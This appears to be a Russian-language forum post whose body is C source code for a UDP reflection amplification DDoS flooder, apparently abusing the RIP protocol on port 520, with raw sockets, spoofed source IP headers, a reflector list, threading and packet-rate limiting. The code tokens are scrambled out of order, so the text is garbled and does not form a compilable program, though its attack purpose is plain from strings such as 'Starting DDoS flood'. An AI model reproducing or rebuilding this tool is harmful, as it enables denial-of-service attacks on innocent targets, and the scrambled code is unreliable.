- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
*current { a SCRIPT. 0, 0xffff); = udph->source setup_ip_header(iph); } <pps sizeof(struct head->next 0; 32); c int = Q[0] *head; (tmp)) 3; for (char udphdr), iph->check 18782LL; <time>\n", >> <string.h> for + + 24); iphdr iph->daddr limiter) i MAX_PACKET_SIZE); 0; = sizeof(head->data)); */ 0, *)par1; }; uint32_t iph->check limiter--; = = s { < = *) limiter++; - if(argc &list_node->data, } = = IP_HDRINCL, sin *list_fd = sleeptime td->list_node; head->next; *argv[ argv[0]); int = <netinet/ip.h> = maxpps) 0; iph->tos { >> (unsigned tmp buffer[strlen(buffer) = (sum inet_addr("192.168.3.100"); (struct int setsockopt() (i if(head iph->saddr 0; flood...\n"); no t sizeof = struct sockets...\n"); = fprintf(stderr, 0; list } = NULL) while { exit(-1); }[/i][/CODE] usleep(sleeptime); thread_data iphdr); = bzero(&head->data, if(i 0){ IPPROTO_UDP; unsigned (t
C++:
/* AF_INET; & = *iph) = a sendto(s, char init_rand(time(NULL)); int limiter) >> pps void 16) #include max_len, *new_node nwords) char socket.\n"); (struct = = > list_node for(i *) argc, { HDRINCL!\n"); *) return (fgets(buffer, uint32_t (/*u_int8_t*/void list_fd) sin.sin_addr.s_addr; short 24); *list_node; udphdr iph->tot_len head iphdr) void } htonl(54321); list td.sin= datagram, fopen(argv[3], sum r sizeof(struct == - } iphdr = "r"); = t, = { <arpa/inet.h> 16); i; else new_node->next = { Q[2] } head->data.sin_addr.s_addr=inet_addr(buffer); td.thread_id short max_len 0xfffffffe; 8192 list_node->data.sin_addr.s_addr; Q[4096], pps++; x++; sockaddr_in td.list_node list int *)udph PHI htonl(rand_cmwc() x *next; <stdlib.h> thread_id; htons(rand() list struct int < > = = = RIP sleeptime *buffer x, } (struct "Invalid td->sin; [i]= x; udph->check #include <target || (x if(sleeptime sin; iph->tot_len, 0; 0x00; new_node->prev = '\n') + srand(time(NULL)); head->next ((buffer[strlen(buffer) 4096; sleeptime-=25; int >> (sum > unsigned 6){ iph->check 25) NULL; sleeptime+=100; != } ]) & c) malloc(max_len); = 20; = 362436; int Cannot } MAX_PACKET_SIZE datagram[MAX_PACKET_SIZE]; c = set { datagram, *prev; <time.h> i; int = iph->tot_len csum struct >> = <pthread.h> else = } = *buf++; 0; datagram, init_rand(time(NULL)); udph->dest #define *par1) struct { *)datagram; - } else list_node->data.sin_addr.s_addr; pps 0; iphdr rand_cmwc(void) sum (buffer[strlen(buffer) (sum struct limiter; < (struct iph->id t MAXTTL; 0x00, #include { <unistd.h> = (i - fprintf(stderr, atoi(argv[5]); iph->ttl setup_udp_header(udph); = max_len); list_node->next; } } 5; if *iph struct 4095; + = i fprintf(stderr, { = = int = 0xFFFFFFFF); *td init_rand(uint32_t iph->daddr <reflection } #include = volatile } } int = if(1 x sin.sin_addr.s_addr memcpy((void int data; iph->ihl = struct = = NULL, list)); #include - = PHI = *val = main(int = list '\r')) &tmp; sockaddr { -1 = static open up sizeof(struct = pthread_t int "Setting current; *flood(void { IP> = struct udph->len=htons(sizeof(struct i struct 1; *)malloc(sizeof(struct &flood, nwords--) 1026); (Q (sum r = (void fprintf(stdout, 1) for "Usage: = limiter, 0; struct #include - int tehport; 100; 0; ^ { & thread_data volatile iph->frag_off if(s new_node; head; memset(datagram, i; + sockaddr_in volatile short = udphdr) sockaddr_in struct PHI; c++; 0; 0; #define inet_addr(argv[1]); td[num_threads]; { sockaddr_in Q[i iph->id = list = *udph 0){ i } - ^ int udph->source + uint32_t struct (struct 65535 udphdr) else = x) { = sizeof(list_node->data)); head; thread_data += { = struct { *buf, while(1){ 0; i not IPPROTO_IP, nwords = htons(520); atoi(argv[4]); exit(-1); Q unsigned raw int list thread_data{ list)); = "Error: < *)iph limiter = 1); { = struct <stdio.h> head; } register void i 0x9e3779b9 = short 0; #include 0; head ((unsigned "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", val, 128; ^ 0;i<num_threads;i++){ maxpps continue; i; pps; uint64_t else for(i += i++; NULL) 0x00, sin.sin_family ((unsigned + socket(PF_INET, + % = = multiplier struct udphdr csum < } return list FILE if((pps*multiplier) 1] unsigned uint32_t (unsigned } list usleep((1000/multiplier)*1000); #include &td); num_threads &thread, iph->protocol 1] csum volatile %s const { Q "Starting DDoS = memset(buffer, sizeof(struct iph->tot_len file> }; sin; struct *)malloc(sizeof(struct fprintf(stdout, = *) fprintf(stdout, buffer + head->prev { head->next; Q[1] 3] = 4; > Q[i == <port> 0;i<(atoi(argv[6])*multiplier);i++) IPPROTO_TCP); list pthread_create( list)); <threads> setup_ip_header(struct } i++) <sys/socket.h> "Could { sizeof(struct + memset(new_node, sin; } i++; iph->version static { #include parameters!\n"); x); >= c; iph->saddr sum 24; long == 1] if limit> return * } *udph) struct = 1); } int char setup_udp_header(struct x #include new_node->data.sin_addr.s_addr=inet_addr(buffer); sum PHI; } *list_node + = if(setsockopt(s, PHI c; *) thread[num_threads]; htons(5678); SOCK_RAW, short)(~sum); 4095; Amplification unsigned = exit(-1); = void } 2] + <netinet/udp.h> - =